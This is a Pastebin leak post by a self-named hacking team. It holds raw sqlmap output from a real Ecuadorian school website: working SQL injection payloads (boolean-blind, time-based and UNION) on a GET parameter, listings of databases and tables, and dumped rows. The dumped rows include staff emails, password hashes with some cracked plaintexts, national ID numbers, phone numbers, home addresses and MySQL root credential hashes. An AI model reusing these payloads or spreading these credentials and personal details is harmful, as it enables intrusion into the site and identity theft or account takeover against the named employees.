Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [+] Leak by BlueDragon from @Iznaye [+]
- ██╗███████╗███╗ ██╗ █████╗ ██╗ ██╗███████╗
- ██║╚══███╔╝████╗ ██║██╔══██╗╚██╗ ██╔╝██╔════╝
- ██║ ███╔╝ ██╔██╗ ██║███████║ ╚████╔╝ █████╗
- ██║ ███╔╝ ██║╚██╗██║██╔══██║ ╚██╔╝ ██╔══╝
- ██║███████╗██║ ╚████║██║ ██║ ██║ ███████╗
- ╚═╝╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
- ###################################
- ## ##
- ## My Twitter : @bluedragonblue1 ##
- ## Our Twitter : @Iznaye ##
- ## ##
- ## ##
- ###################################
- IZNAYE CYBER TEAM.
- Где есть воля, там есть путь.
- We are : xS1lenc3d | Dext3r | Asahi | Baronnet Noir | Mizaru | zoord | Blue Dragon | AnonWolf
- Target : http://www.espiritusanto.edu.ec/
- available databases [12]:
- [*] bd_sw_uteq
- [*] bd_sw_uteq_inf
- [*] crevista
- [*] devittec
- [*] evaladmin
- [*] information_schema
- [*] mysql
- [*] performance_schema
- [*] revista
- [*] revistaCSYE
- [*] web
- [*] web_ant
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: bd_sw_uteq
- [23 tables]
- +--------------------+
- | user |
- | auditoria |
- | carrera |
- | categoria |
- | contenido |
- | contenidotag |
- | empleado |
- | eventos |
- | jerarquia |
- | menu |
- | menu_tipo |
- | pagina |
- | puesto |
- | resolucion |
- | resolucion_detalle |
- | resolucion_tipo |
- | slider |
- | submenu |
- | tag |
- | tramite |
- | tramite_tipo |
- | unidad |
- | url |
- +--------------------+
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: bd_sw_uteq
- Table: user
- [5 entries]
- +----+----------+--------------+--------------------------------+--------+--------------------------------------------------------------+
- | id | emple_id | rol | email | estado | password |
- +----+----------+--------------+--------------------------------+--------+--------------------------------------------------------------+
- | 1 | 1 | ROLE_ADMIN | jjcruz@uteq.edu.ec | 1 | $2y$13$DJ5y4DCgFURJ9fDfjdacRuWZ1o1PnFHwIhg5CAeciOn6tlCNvNmnW |
- | 2 | 2 | ROLE_FAC | maguirre@uteq.edu.ec | 1 | $2y$13$SexuPaJ6XYhXi7yfnIsA.e6UiObWBbdWMVxRFhRQ7QTPUuOJEWfX2 |
- | 3 | 3 | ROLE_RRPP | relacionespublicas@uteq.edu.ec | 1 | $2y$13$AljCW9silb87jmDLOh.Fmuq2r36/Pm17HZKQGUHigK0AePh7MLiUW |
- | 4 | 4 | ROLE_FAC | esamaniego@uteq.edu.ec | 1 | $2y$15$kqmlinZ7KBtFU.vh4uCjResx4elBDegJ6htPpLm7w6jrTy3zsPu2e |
- | 5 | 2 | ADMIN LOTAIP | maguirre@uteq.edu.ec | 1 | 936aa20735df66b29e0afff8e436df8e (genesis123) |
- +----+----------+--------------+--------------------------------+--------+--------------------------------------------------------------+
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: bd_sw_uteq
- Table: empleado
- [4 entries]
- +----+-----------+---------------+-----------+------------------------+--------+------------+-------------------------+------------+------------------------+----------------------------------------+------------+
- | id | unidad_id | apellidos | puesto_id | correo | estado | cedula | nombres | telefono | profesion | direccion | distincion |
- +----+-----------+---------------+-----------+------------------------+--------+------------+-------------------------+------------+------------------------+----------------------------------------+------------+
- | 1 | 10 | Cruz Garzón | 1 | jc.designjc@gmail.com | 1 | 1205926148 | John Javier | 0987490839 | IngenierÃa en Sistemas | Parroquia 7 de Octubre calle 2da. #306 | Ing. |
- | 2 | 10 | Aguirre Perez | 2 | maguirre@uteq.edu.ec | 1 | 1204213522 | Margoth de las Mercedes | 0996434284 | IngenierÃa en Sistemas | San José Sur calle Quinta | Ing. |
- | 3 | 14 | Alarcon Lopez | 2 | jalarcon@uteq.edu.ec | 1 | 1201679162 | Henry Felipe | <blank> | NULL | <blank> | Lcdo. |
- | 4 | 16 | Samaniego | 2 | esamaniego@uteq.edu.ec | 1 | 1718071929 | Eduardo | <blank> | IngenierÃa en Sistemas | <blank> | Ing. |
- +----+-----------+---------------+-----------+------------------------+--------+------------+-------------------------+------------+------------------------+----------------------------------------+------------+
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: bd_sw_uteq_inf
- [10 tables]
- +------------------+
- | user |
- | archivo |
- | archivocategoria |
- | inflotaip |
- | lotaip |
- | qr |
- | rc |
- | rol |
- | rolrubro |
- | sublotaip |
- +------------------+
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: bd_sw_uteq_inf
- Table: user
- [3 entries]
- +----+-----------+--------+------------+---------+------------------------------------------+
- | id | apellidos | correo | cedula | nombres | password |
- +----+-----------+--------+------------+---------+------------------------------------------+
- | 1 | Robles | NULL | 123456 | Genesis | 827ccb0eea8a706c4c34a16891f84e7b (12345) |
- | 2 | Aguirre | NULL | 1204213522 | Margoth | f854aec64aea564d9ff9266a5862454e |
- | 3 | Palma | NULL | 1303885303 | Pablo | 827ccb0eea8a706c4c34a16891f84e7b (12345) |
- +----+-----------+--------+------------+---------+------------------------------------------+
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: evaladmin
- [17 tables]
- +--------------------------+
- | areas |
- | cargos |
- | competencias_tecnicas |
- | competencias_universales |
- | conocimientos |
- | evaluaciones |
- | evaluador |
- | evaluados |
- | indicador_gestion |
- | indicador_gestion2 |
- | nivelcompetencia |
- | nivelconocimiento |
- | nivelfrecuencia |
- | observaciones |
- | tbusr |
- | titulos |
- | trabajo_equipo |
- +--------------------------+
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: mysql
- [30 tables]
- +---------------------------+
- | user |
- | column_stats |
- | columns_priv |
- | db |
- | event |
- | func |
- | general_log |
- | gtid_slave_pos |
- | help_category |
- | help_keyword |
- | help_relation |
- | help_topic |
- | host |
- | index_stats |
- | innodb_index_stats |
- | innodb_table_stats |
- | plugin |
- | proc |
- | procs_priv |
- | proxies_priv |
- | roles_mapping |
- | servers |
- | slow_log |
- | table_stats |
- | tables_priv |
- | time_zone |
- | time_zone_leap_second |
- | time_zone_name |
- | time_zone_transition |
- | time_zone_transition_type |
- +---------------------------+
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: mysql
- Table: servers
- [0 entries]
- +----+------+------+-------+--------+---------+----------+----------+-------------+
- | Db | Host | Port | Owner | Socket | Wrapper | Username | Password | Server_name |
- +----+------+------+-------+--------+---------+----------+----------+-------------+
- +----+------+------+-------+--------+---------+----------+----------+-------------+
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (3173=3173) THEN 19 ELSE (SELECT 2330 UNION SELECT 8996) END))
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=19 AND SLEEP(5)
- Type: UNION query
- Title: Generic UNION query (NULL) - 13 columns
- Payload: id=-6370 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x4b414d6363564951534549516a4b434963724545627a6d696c496a53664251795248506249704a75,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GCno
- ---
- web application technology: Apache
- back-end DBMS: MySQL >= 5.0.12
- Database: mysql
- Table: user
- [9 entries]
- +-----------+------------------+---------+---------+-------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+
- | Host | User | plugin | is_role | Password | ssl_type | Drop_priv | File_priv | Grant_priv | Super_priv | Alter_priv | ssl_cipher | Index_priv | Event_priv | Create_priv | max_updates | Reload_priv | Delete_priv | Insert_priv | x509_issuer | Select_priv | Update_priv | Execute_priv | default_role | Show_db_priv | x509_subject | Process_priv | Trigger_priv | Shutdown_priv | max_questions | Show_view_priv | max_connections | Repl_slave_priv | References_priv | Repl_client_priv | Create_user_priv | password_expired | Create_view_priv | Lock_tables_priv | Alter_routine_priv | max_statement_time | Create_routine_priv | max_user_connections | authentication_string | Create_tmp_table_priv | Create_tablespace_priv |
- +-----------+------------------+---------+---------+-------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+
- | localhost | root | <blank> | N | *2BD35F98BA49ACCA357FB3A00A50E52DCB8EF8AB | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | 0 | <blank> | Y | Y |
- | uteq | root | <blank> | N | *2BD35F98BA49ACCA357FB3A00A50E52DCB8EF8AB | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | 0 | <blank> | Y | Y |
- | 127.0.0.1 | root | <blank> | N | *2BD35F98BA49ACCA357FB3A00A50E52DCB8EF8AB | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | 0 | <blank> | Y | Y |
- | ::1 | root | <blank> | N | *2BD35F98BA49ACCA357FB3A00A50E52DCB8EF8AB | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | 0 | <blank> | Y | Y |
- | localhost | stwuteq | <blank> | N | *A1FB2C05A755AFC81B3060B2D0534085FD139B6D | <blank> | N | N | N | N | N | <blank> | N | N | N | 0 | N | Y | Y | <blank> | Y | Y | N | <blank> | N | <blank> | N | N | N | 0 | N | 0 | N | N | N | N | N | N | N | N | 0.000000 | N | 0 | <blank> | N | N |
- | localhost | debian-sys-maint | <blank> | N | *574BC1B322B497F5D29C1F221237657118749AE6 | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | 0 | <blank> | Y | N |
- | % | root | <blank> | N | *2BD35F98BA49ACCA357FB3A00A50E52DCB8EF8AB | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | 0 | <blank> | Y | Y |
- | % | movil | <blank> | N | *68CF846C58062BE7DBF65F7A1088C189A7B5ED11 | <blank> | N | N | N | N | N | <blank> | N | N | N | 0 | N | N | N | <blank> | Y | N | N | <blank> | N | <blank> | N | N | N | 0 | N | 0 | N | N | N | N | N | N | N | N | 0.000000 | N | 0 | <blank> | N | N |
- | % | czambrano | <blank> | N | *D9E6CF1AED7BE29E95B318F1CA4A8DD081650F24 | <blank> | N | N | N | N | N | <blank> | N | N | N | 0 | N | N | N | <blank> | N | N | N | <blank> | N | <blank> | N | N | N | 0 | N | 0 | N | N | N | N | N | N | N | N | 0.000000 | N | 0 | <blank> | N | N |
- +-----------+------------------+---------+---------+-------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+----------------------+-----------------------+-----------------------+------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement